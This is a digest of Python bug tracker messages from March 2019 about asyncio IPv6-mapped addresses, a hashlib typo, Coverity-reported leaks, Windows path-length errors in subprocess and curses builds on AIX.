components: asyncio
files: socket_test_bad.py
messages: 337289
nosy: asvetlov, jeeger, yselivanov
priority: normal
severity: normal
status: open
title: AsyncIO V4MAPPED addresses with V6ONLY.
Added file: https://bugs.python.org/file48190/socket_test_bad.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36208>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:06:29 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:06:29 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
Message-ID: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Seen on a custom builder:

BUILDSTDERR: ======================================================================
BUILDSTDERR: ERROR: test_scrypt (test.test_hashlib.KDFTests)
BUILDSTDERR: ----------------------------------------------------------------------
BUILDSTDERR: Traceback (most recent call last):
BUILDSTDERR:   File "/builddir/build/BUILD/Python-3.7.2/Lib/test/test_hashlib.py", line 942, in test_scrypt
BUILDSTDERR:     result = hashlib.scrypt(password, salt=salt, n=n, r=r, p=p)
BUILDSTDERR: ValueError: Invalid paramemter combination for n, r, p, maxmem.

There is a typo in "paramemter".

----------
assignee: docs at python
components: Documentation
keywords: easy
messages: 337290
nosy: docs at python, vstinner
priority: normal
severity: normal
status: open
title: [EASY Doc] Typo in hashlib error message
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:16:23 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:16:23 +0000
Subject: [issue36208] AsyncIO V4MAPPED addresses with V6ONLY.
In-Reply-To: <1551868458.12.0.248944405663.issue36208@roundup.psfhosted.org>
Message-ID: <1551870983.87.0.352256030944.issue36208@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

See also bpo-35934.

----------
nosy: +giampaolo.rodola, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36208>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:30:56 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:30:56 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551871856.99.0.629454208292.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12186

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:30:57 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:30:57 +0000
Subject: [issue34247] PYTHONOPTIMIZE ignored in 3.7.0 when using custom
 launcher
In-Reply-To: <1532693250.08.0.56676864532.issue34247@psf.upfronthosting.co.za>
Message-ID: <1551871857.06.0.2373760587.issue34247@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12187

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34247>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:32:12 2019
From: report at bugs.python.org (Windson Yang)
Date: Wed, 06 Mar 2019 11:32:12 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>
Message-ID: <1551871932.98.0.33354477409.issue36203@roundup.psfhosted.org>


Windson Yang <wiwindson at outlook.com> added the comment:

Yes, Maxwell. I guess the docs are misleading, the code locate in https://github.com/python/cpython/blob/master/Objects/weakrefobject.c#L748

if (callback == Py_None)
        callback = NULL;
    if (callback == NULL)
        /* return existing weak reference if it exists */
        result = ref;
    if (result != NULL)
        Py_INCREF(result);
    else {
        ...
    }

However, I'm not sure we should fix the docs or the code here.

----------
nosy: +Windson Yang

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:42:23 2019
From: report at bugs.python.org (Donald Stufft)
Date: Wed, 06 Mar 2019 11:42:23 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1551872543.91.0.842289952129.issue35807@roundup.psfhosted.org>


Donald Stufft <donald at stufft.io> added the comment:


New changeset 01e0f439f5009f37b95ab516e91906fcc7fcb8c3 by Donald Stufft (Pradyun Gedam) in branch 'master':
bpo-35807: Upgrade ensurepip bundled pip and setuptools (GH-12189)
https://github.com/python/cpython/commit/01e0f439f5009f37b95ab516e91906fcc7fcb8c3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:42:49 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 06 Mar 2019 11:42:49 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1551872569.12.0.12194007296.issue35807@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12188

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:43:10 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 06 Mar 2019 11:43:10 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1551872590.38.0.603183436235.issue35807@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12189

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:51:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:51:55 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551873115.47.0.623462171569.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 25d13f37aa6743282d0b8b4df687ff89999964b2 by Victor Stinner in branch 'master':
bpo-36142: PYTHONMALLOC overrides PYTHONDEV (GH-12191)
https://github.com/python/cpython/commit/25d13f37aa6743282d0b8b4df687ff89999964b2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Wed Mar  6 06:51:55 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 11:51:55 +0000
Subject: [issue34247] PYTHONOPTIMIZE ignored in 3.7.0 when using custom
 launcher
In-Reply-To: <1532693250.08.0.56676864532.issue34247@psf.upfronthosting.co.za>
Message-ID: <1551873115.39.0.545427430098.issue34247@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 25d13f37aa6743282d0b8b4df687ff89999964b2 by Victor Stinner in branch 'master':
bpo-36142: PYTHONMALLOC overrides PYTHONDEV (GH-12191)
https://github.com/python/cpython/commit/25d13f37aa6743282d0b8b4df687ff89999964b2


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34247>
_______________________________________

From report at bugs.python.org  Wed Mar  6 07:12:51 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Wed, 06 Mar 2019 12:12:51 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551874371.03.0.186153992674.issue36209@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
keywords: +patch
pull_requests: +12190
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 07:16:02 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 06 Mar 2019 12:16:02 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551874562.38.0.231351986953.issue36209@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Thank you @eamanu.

----------
keywords:  -patch
nosy: +matrixise
stage: patch review -> 

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 07:16:37 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Wed, 06 Mar 2019 12:16:37 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551874597.85.0.111813992199.issue36209@roundup.psfhosted.org>


Change by Emmanuel Arias <emmanuelarias30 at gmail.com>:


----------
nosy: +eamanu

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 07:54:39 2019
From: report at bugs.python.org (Giampaolo Rodola')
Date: Wed, 06 Mar 2019 12:54:39 +0000
Subject: [issue36208] AsyncIO V4MAPPED addresses with V6ONLY.
In-Reply-To: <1551868458.12.0.248944405663.issue36208@roundup.psfhosted.org>
Message-ID: <1551876879.65.0.520095436705.issue36208@roundup.psfhosted.org>


Giampaolo Rodola' <g.rodola at gmail.com> added the comment:

I'm not sure I understand the issue, but setting IPV6_V6ONLY to 0 by default is not an option because asyncio wants to serve IPv4 and IPv6 with 2 distinct sockets on purpose. The reason for that is because when an IPv4 connection occurs we want getpeername/getsockname to return '127.0.0.1' instead of '::ffff:127.0.0.1'.

Also, IPV6_V6ONLY = 1 is set by default on all platforms. It is not set on Windows because IPPROTO_IPV6 constant is missing due to issue29515, but that doesn't matter because IPV6_V6ONLY = 1 is already the default on Windows. As for Linux, /proc/sys/net/ipv6/bindv6only shouldn't matter because setting the option in Python is supposed to overwrite what /proc/sys/net/ipv6/bindv6only dictates.

With that said, what's your use case exactly? Why does your test script uses AF_INET6 and an IPv4 address?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36208>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:04:38 2019
From: report at bugs.python.org (Michael Felt)
Date: Wed, 06 Mar 2019 13:04:38 +0000
Subject: [issue36210] ncurses versus cursus integration - platform differences
 and defaults
Message-ID: <1551877478.38.0.771456862754.issue36210@roundup.psfhosted.org>


New submission from Michael Felt <aixtools at felt.demon.nl>:

Only marking Python3.8, but this is a historical issue I have ignored as long as possible.

There are many - ancient and recent issues open around the extension module _curses - and over the years it appears many assumptions have come into the code (such as configure.ac that says CPP needs to be expended with /usr/include/ncursesw, but not /usr/include/ncurses (which is what the ncurses project uses).

Further, Pyhton3 assumes that ncurses is the better solution, so if it can find a libncurses library that must be the best approach.

While ncurses might, all other things being equal, be a preferred library - it does not mean it is the best for all platforms.

On AIX - the assumptions made (at least where the include files are) tends to make it impossible to build the _cursesmodule in any form when a third-party ncurses is installed.

When ncurses is not installed _curses builds fine and _curses_panel is skipped.

I propose that "setup.py" - on AIX - specifies libcurses.a rather than libncurses - as the default.

----------
components: Extension Modules
messages: 337298
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: ncurses versus cursus integration - platform differences and defaults
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36210>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:12:28 2019
From: report at bugs.python.org (Jan Seeger)
Date: Wed, 06 Mar 2019 13:12:28 +0000
Subject: [issue36208] AsyncIO V4MAPPED addresses with V6ONLY.
In-Reply-To: <1551868458.12.0.248944405663.issue36208@roundup.psfhosted.org>
Message-ID: <1551877948.63.0.110631368076.issue36208@roundup.psfhosted.org>


Jan Seeger <jan.seeger+python at thenybble.de> added the comment:

The intention for V4MAPPED is to allow "single-stack" usage of V4 and V6 addresses (or am I misunderstanding the purpose of the V4MAPPED socket option here?). The application only handles V6 addresses, and the system transparently converts from mapped addresses to "proper" IPv4 addresses.

Unfortunately, when V6ONLY is set on a socket, this does not work. `man ipv6` states:

       IPV6_V6ONLY (since Linux 2.4.21 and 2.6)
              If this flag is set to false (zero), then the socket can be
              used to send and receive packets to and from an IPv6 address
              or an IPv4-mapped IPv6 address.

If IPV6_V6ONLY is always set, the V4MAPPED socket option is nonsensical, as the socket can't send IPv4 packages.

This is what the test_bad script is trying to simulate (badly?): The lookup for neverssl.com returns only an IPv4 address (since the running system doesn't have IPv6 connectivity). If V6ONLY was 0, this would work, and we would get a mapped V4 address (something like '::ffff:52.222.163.80'). With V6ONLY=1, we cannot connect to this mapped address.

A better test script would have this main method (I've attached the new version as well):

async def main():
    on_con_lost = asyncio.Future()
    transport, protocol = await asyncio.get_event_loop().create_connection(
        lambda: TestProtocol(on_con_lost),
        family=socket.AF_INET6,
        flags=socket.AI_V4MAPPED,
        host='neverssl.com',
        port=80)

    try:
        await on_con_lost
    finally:
        transport.close()

On my system, the lookup returns a V4 address. Since I've enabled AI_V4MAPPED, I get a mapped V6 address that I would be able to connect to if V6ONLY is disabled. However, with V6ONLY enabled, the address is not connectable.

----------
Added file: https://bugs.python.org/file48191/bugtest.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36208>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:15:18 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 06 Mar 2019 13:15:18 +0000
Subject: [issue36211] show full url when execute "make -C Doc/ serve"
Message-ID: <1551878118.81.0.0860546810441.issue36211@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

If we want to check the result of the compilation for the documentation, we can use open build/html or make serve

./configure --prefix=$PWD/build
make -j 4
make PYTHON=../python -C Doc venv
make PYTHON=../python -C Doc html serve

Here is the current output:
make: Entering directory '/home/stephane/src/github.com/python/cpython/Doc'
../Tools/scripts/serve.py build/html
Serving build/html on port 8000, control-C to stop


I suggest this output:

Serving build/html on 0.0.0.0 port 8000 (http://0.0.0.0:8000/), control-C to stop

With this change and if the terminal supports the URL, we can click on the link.

----------
messages: 337300
nosy: matrixise
priority: normal
severity: normal
status: open
title: show full url when execute "make -C Doc/ serve"
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36211>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:20:43 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Wed, 06 Mar 2019 13:20:43 +0000
Subject: [issue36211] show full url when execute "make -C Doc/ serve"
In-Reply-To: <1551878118.81.0.0860546810441.issue36211@roundup.psfhosted.org>
Message-ID: <1551878443.47.0.925432941492.issue36211@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
keywords: +patch
pull_requests: +12191
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36211>
_______________________________________

From report at bugs.python.org  Wed Mar  6 08:57:29 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Wed, 06 Mar 2019 13:57:29 +0000
Subject: [issue36212] [2.7] Coverity scan: Modules/_hotshot.c ,
 Variable "s1" going out of scope leaks the storage it points to.
Message-ID: <1551880649.05.0.0730481787231.issue36212@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

Coverity scan reports a leak on _hotshot.c: 

Python-2.7.15/Modules/_hotshot.c:442: alloc_arg: "unpack_string" allocates memory that is stored into "s1".
Python-2.7.15/Modules/_hotshot.c:329:5: alloc_fn: Storage is returned from allocation function "PyString_FromStringAndSize".
Python-2.7.15/Objects/stringobject.c:88:5: alloc_fn: Storage is returned from allocation function "PyObject_Malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: alloc_fn: Storage is returned from allocation function "malloc".
Python-2.7.15/Objects/obmalloc.c:982:5: return_alloc_fn: Directly returning storage allocated by "malloc".
Python-2.7.15/Objects/stringobject.c:88:5: var_assign: Assigning: "op" = "PyObject_Malloc(37UL + size)".
Python-2.7.15/Objects/stringobject.c:111:5: return_alloc: Returning allocated memory "op".
Python-2.7.15/Modules/_hotshot.c:329:5: var_assign: Assigning: "*pvalue" = "PyString_FromStringAndSize(buf, len)".
Python-2.7.15/Modules/_hotshot.c:486: leaked_storage: Variable "s1" going out of scope leaks the storage it points to.
 484|           result = PyTuple_New(4);
 485|           if (result == NULL)
 486|->             return NULL;
 487|           PyTuple_SET_ITEM(result, 0, PyInt_FromLong(what));
 488|           PyTuple_SET_ITEM(result, 2, PyInt_FromLong(fileno));

----------
components: Extension Modules
messages: 337301
nosy: cstratak
priority: normal
severity: normal
status: open
title: [2.7] Coverity scan: Modules/_hotshot.c , Variable "s1" going out of scope leaks the storage it points to.
type: resource usage
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36212>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:12:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:12:10 +0000
Subject: [issue36186] [2.7] Coverity scan: Modules/linuxaudiodev.c ,
 fd handle is not closed.
In-Reply-To: <1551713826.41.0.114140422671.issue36186@roundup.psfhosted.org>
Message-ID: <1551881530.65.0.553159348963.issue36186@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset b2aefd77e1da438aed649d018d6aa504ec35eac8 by Victor Stinner (stratakis) in branch '2.7':
[2.7] bpo-36186: Fix linuxaudiodev.linux_audio_device() error handling (GH-12163)
https://github.com/python/cpython/commit/b2aefd77e1da438aed649d018d6aa504ec35eac8


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36186>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:14:10 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:14:10 +0000
Subject: [issue36147] [2.7] Coverity scan: Modules/_ctypes/cfield.c ,
 Variable "result" going out of scope
In-Reply-To: <1551377000.6.0.726806174953.issue36147@roundup.psfhosted.org>
Message-ID: <1551881650.7.0.195470790338.issue36147@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 098b139816f379271b8d4de2561b5805dd47d229 by Victor Stinner (stratakis) in branch '2.7':
bpo-36147: Fix a memory leak in ctypes s_get() (GH-12102)
https://github.com/python/cpython/commit/098b139816f379271b8d4de2561b5805dd47d229


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36147>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:34:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:34:00 +0000
Subject: [issue36186] [2.7] Coverity scan: Modules/linuxaudiodev.c ,
 fd handle is not closed.
In-Reply-To: <1551713826.41.0.114140422671.issue36186@roundup.psfhosted.org>
Message-ID: <1551882840.89.0.779692982693.issue36186@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Charalampos Stratakis!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36186>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:34:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:34:14 +0000
Subject: [issue36147] [2.7] Coverity scan: Modules/_ctypes/cfield.c ,
 Variable "result" going out of scope
In-Reply-To: <1551377000.6.0.726806174953.issue36147@roundup.psfhosted.org>
Message-ID: <1551882854.94.0.163802045501.issue36147@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Charalampos Stratakis!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36147>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:34:22 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:34:22 +0000
Subject: [issue36147] [2.7] Coverity scan: Modules/_ctypes/cfield.c ,
 Variable "result" going out of scope
In-Reply-To: <1551377000.6.0.726806174953.issue36147@roundup.psfhosted.org>
Message-ID: <1551882862.92.0.8217121713.issue36147@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36147>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:35:42 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:35:42 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551882942.43.0.981339442113.issue36209@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset b71e28ea91259ca3914e2ff84fc126795ea6b848 by Victor Stinner (Emmanuel Arias) in branch 'master':
bpo-36209: Fix typo on hashlib error message (GH-12194)
https://github.com/python/cpython/commit/b71e28ea91259ca3914e2ff84fc126795ea6b848


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:35:51 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 06 Mar 2019 14:35:51 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551882951.74.0.910653159226.issue36209@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
keywords: +patch
pull_requests: +12192
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:37:01 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:37:01 +0000
Subject: [issue36201] AssertCountEqual does not work for nested dictionaries.
In-Reply-To: <1551832953.74.0.756790771637.issue36201@roundup.psfhosted.org>
Message-ID: <1551883021.12.0.0861794039518.issue36201@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy:  -vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36201>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:37:16 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Wed, 06 Mar 2019 14:37:16 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
Message-ID: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>


New submission from Geoff Alexander <gdlxn at us.ibm.com>:

I've found that subprocess.check_output() fails on Windows with OSError: [WinError 87] when the current directory's name is too long:

```
Traceback (most recent call last):
  File "migration.py", line 169, in <module>
    migrate()
  File "migration.py", line 80, in migrate
    rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 310, in acceptchangesintoworkspace
    Commiter.addandcommit(changeEntry)
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 97, in addandcommit
    Commiter.handle_captitalization_filename_changes()
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 130, in handle_captitalization_filename_changes
    files = shell.getoutput("git ls-files")
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\shell.py", line 33, in getoutput
    outputasbytestring = check_output(command, shell=True)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 356, in check_output
    **kwargs).stdout
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 423, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 729, in __init__
    restore_signals, start_new_session)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 1017, in _execute_child
    startupinfo)
OSError: [WinError 87] The parameter is incorrect
```

Python's subprocess module should handle long directory and files names on Windows where supported.  For older versions of Windows that don't support long directory and file names, an exception with a more informative error message than "OSError: [WinError 87]" should be thrown.

----------
components: Windows
messages: 337307
nosy: Geoff.Alexander, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: subprocess.check_output() fails with OSError: [WinError 87] when current directory name is too long
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:43:33 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Wed, 06 Mar 2019 14:43:33 +0000
Subject: [issue35678] subprocess.check_output(): OSError: [WinError 87]
In-Reply-To: <1546865273.42.0.642343749188.issue35678@roundup.psfhosted.org>
Message-ID: <1551883413.4.0.459987310737.issue35678@roundup.psfhosted.org>


Geoff Alexander <gdlxn at us.ibm.com> added the comment:

The [WinError 87] does seems to be caused by the current directory's name being too long.  The value of len(os.getcwd())is 260 when the exception occurs.  The failing call was subprocess.check_output("git ls-files", shell=True).  I've open Issue 36213 to track this problem.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35678>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:44:40 2019
From: report at bugs.python.org (SilentGhost)
Date: Wed, 06 Mar 2019 14:44:40 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1551883480.86.0.758075686553.issue36213@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
type:  -> behavior
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:49:45 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:49:45 +0000
Subject: [issue36213] subprocess.check_output() fails with OSError: [WinError
 87] when current directory name is too long
In-Reply-To: <1551883036.38.0.267750986311.issue36213@roundup.psfhosted.org>
Message-ID: <1551883785.54.0.540596528419.issue36213@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

subprocess.Popen calls _winapi.CreateProcess. The current_directory is a wchar_t* string (Py_UNICODE*) passed to Windows CreateProcessW() (Unicode flavor of the API).

https://docs.microsoft.com/en-us/windows/desktop/fileio/naming-a-file#maximum-path-length-limitation

"In the Windows API (with some exceptions discussed in the following paragraphs), the maximum length for a path is MAX_PATH, which is defined as 260 characters."

I guess that the workaround is to use the "\\?\" prefix for "extended-length path". For example, "\\?\D:\very long path".

=> "The Windows API has many functions that also have Unicode versions to permit an extended-length path for a maximum total path length of 32,767 characters."

----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36213>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:54:16 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 06 Mar 2019 14:54:16 +0000
Subject: [issue36204] Deprecate calling Py_Main() after Py_Initialize()? Add
 Py_InitializeFromArgv()?
In-Reply-To: <1551834525.71.0.299851927567.issue36204@roundup.psfhosted.org>
Message-ID: <1551884056.88.0.35977270263.issue36204@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I like having the functions you added to parse argv into config, and I like that they are separate from setting sys.argv.

Might it be better to go the other way and deprecate calling Main *without* Initialize? That's easy to fix in Programs/python.c, and eventually Main will just be the "standard" startup sequence based on argv and environ, right?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36204>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:54:58 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 06 Mar 2019 14:54:58 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551884098.58.0.20651368365.issue36209@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 42c649347a11789666c461ecbd3bdca27b957c9b by Miss Islington (bot) in branch '3.7':
bpo-36209: Fix typo on hashlib error message (GH-12194)
https://github.com/python/cpython/commit/42c649347a11789666c461ecbd3bdca27b957c9b


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36209>
_______________________________________

From report at bugs.python.org  Wed Mar  6 09:57:53 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 06 Mar 2019 14:57:53 +0000
Subject: [issue36209] [EASY Doc] Typo in hashlib error message
In-Reply-To: <1551870389.36.0.98944095722.issue36209@roundup.psfhosted.org>
Message-ID: <1551884273.93.0.212184875849.issue36209@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Thanks Emmanuel Arias.

----------
resolution:  -> fixed
stage: patch review -> resolved
